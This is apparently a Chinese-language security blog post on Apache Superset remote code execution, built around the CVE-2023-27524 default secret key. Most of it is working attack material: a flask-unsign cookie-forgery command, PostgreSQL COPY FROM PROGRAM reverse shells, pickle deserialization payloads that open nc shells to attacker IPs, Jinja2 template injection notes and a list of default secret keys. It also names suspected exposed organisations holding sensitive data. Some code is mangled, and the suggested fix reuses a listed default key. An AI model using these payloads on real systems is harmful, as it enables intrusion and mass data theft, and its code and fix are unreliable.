隐藏的危险：Apache Superset三个RCE漏洞浅析

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2023年5月4日20:29:27评论186 views字数 4576阅读15分15秒阅读模式

隐藏的危险：Apache Superset三个RCE漏洞浅析

前言

4.25日Naveen Sunkavally 发布了CVE-2023-27524 superset 默认key的漏洞。可以使用flask_unsign 构建cookies，登录系统。

superset 是一款BI系统，主要用在各种版本数据库管理中，一旦控制，影响将是全量数据，该漏洞的影响之大，并没有引起很大重视，笔者对全网存在弱点的主机进行了清点。

疑似存在漏洞主机

某上市酒店1.5亿会员数据，跟住宿数据。

全国公交用户数据

某为的代理商统计指数

某银行用户行为数据

某证券指数分析数据

存在漏洞网站分布图（来源tw）

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漏洞利用方式

cookies构造使用方法：

flask-unsign 是一个 Python 库，用于从 Flask session cookie 中加密和解密数据

$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU

作者同时提供了测试工具

https://github.com/horizon3ai/CVE-2023-27524

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nuclei同时更新了模块

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作者RCE截图

作者在文中提出了二处RCE，并且截图。但是没有说出具体位置。

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笔者大概能猜测出RCE分别位于数据库，一个位于本地程序。

笔者通过作者截图，对几处地方进行了猜想

数据库反弹shell

进行数据库执行反弹shell并没有什么诡异的地方。

只需根据连接池数据库属性进行执行，突破数据库的防护并调用指定函数即可。

因此，mssql、mysql、postgres、oracle等数据库都可以执行此类命令，反弹shell。

可以控制存在连接的数据库容器，但在实际场景中，需要解决的问题可能是数据库出网的问题。

具体步骤：

登录后，点击sql 选择sqllite, 列表中有已经进行链接的连接池，

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select pg_read_file('/etc/passwd');  利用postgres数据库读取文件（低版本）。

使用bash反弹

CREATE TABLE dump (t TEXT);insert into dump values ('bash -i >& /dev/tcp/xxxx.xxx.xxx.xxx/8080 0>&1');COPY dump TO '/tmp/s.sh';      

TRUNCATE table cmd_exec;COPY cmd_exec FROM PROGRAM  'chmod +x /tmp/s.sh';SELECT * from cmd_exec;      

TRUNCATE table cmd_exec;COPY cmd_exec FROM PROGRAM  'bash -c "bash /tmp/s.sh"';SELECT * from cmd_exec;      

TRUNCATE table cmd_exec;COPY cmd_exec FROM PROGRAM  'bash /tmp/s.sh';SELECT * from cmd_exec;

 TRUNCATE table cmd_exec; COPY cmd_exec FROM PROGRAM  'perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"xxxxxxxx.xxx.xx.xx:9001");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''; SELECT * from cmd_exec;

执行后查看结果：

网站程序的RCE的几处

笔者搭建apache superset，对大概地方进行了黑盒测试。

笔者第一个想到的地方是pickle反序列

Pickle反序列

https://davidhamann.de/2020/04/05/exploiting-python-pickle/

首先自己构造pickle的

                        import pickleimport base64import os
class RCE:def **reduce**(self):cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | ''/bin/sh -i 2>&1 | nc xx.xx.xx.xx 444 > /tmp/f')return os.system, (cmd,)
if **name** == '**main**':pickled = pickle.dumps(RCE())print(base64.urlsafe_b64encode(pickled))

python 3 之后需要dump,生成文件。superset在解析文件的地方使用。

import pickle
myIP = 'xx.xx.xx.xx'myPort = '444'

payload = "rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc {} {} 1>/tmp/backpipe".format(myIP, myPort)

with open('evil.pickle', 'wb') as f:    pickle.dump(payload, f)

文件内容为二进制内容。

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翻看历史漏洞记录CVE-ID: CVE-2018-8021，找到18年的一个RCE，存在漏洞版本<=0.0.38

https://www.exploit-db.com/exploits/45933

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看到也是利用pickle.

导入点：superset/import_dashboards

                                    import pickle# Change these values to your TCP listenermyIP = 'xx.xx.xx.xx'myPort = '444'# Generate reverse shell payloadpayload = "rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc {} {} 1>/tmp/backpipe".format(myIP, myPort)# Dump payload to pickle filewith open('evil.pickle', 'wb') as f:    pickle.dump(payload, f)

Jinja2模板RCE

用Python的Jinja2模板引擎执行任意命令的尝试

沙盒处理

这里jinji2的话，其实如果替换成Chevron，可以Bypass. ，但是比较鸡肋。

select '{{ chevron }}', '{{ mustache }}’

翻阅了过往的漏洞介绍。大概发现了几个存在的点。

一处CVE-2020-13948 RCE

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跟着RCE去跟踪，发现了github的改动，大概就明白执行点在哪里了。

调用了模板变量uuid.可以访问Os .执行命令。os.popen

还有几个存在问题的点。都是在导入的地方。如：

dashboard.json的恶意配置文件

"css": ".malicious-class{background-image:url('http://attacker.com/malicious-image.jpg');}",

加入攻击代码

在导入的地方基本触发条件还是比较多。

笔者另外整理了一些默认key，主要是docker在运行时，需要加入Key,不少人使用的还是官网默然修改key命令。

    b'x02x01thisismyscretkeyx01x02\e\y\y\h',  # version < 1.4.1    b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1    b'thisISaSECRET_1234',                            # deployment template    b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation    b'TEST_NON_DEV_SECRET',                            # docker compose    b'USE_YOUR_OWN_SECURE_RANDOM_KEY',    b'your_secret_key_here'

修补方式

docker run -d -p 8080:8088 -e "SUPERSET_SECRET_KEY=your_secret_key_here" --name superset apache/superset

修改SUPERSET_SECRET_KEY属性值，重新app。

总结

本文围绕apache superset 存在的风险问题进行了分析，并且列举了一些存在风险的主机。

此外还介绍了一些漏洞和攻击方法，如数据库反弹shell，pickle漏洞和Jinja2模板引擎执行任意命令的尝试等。

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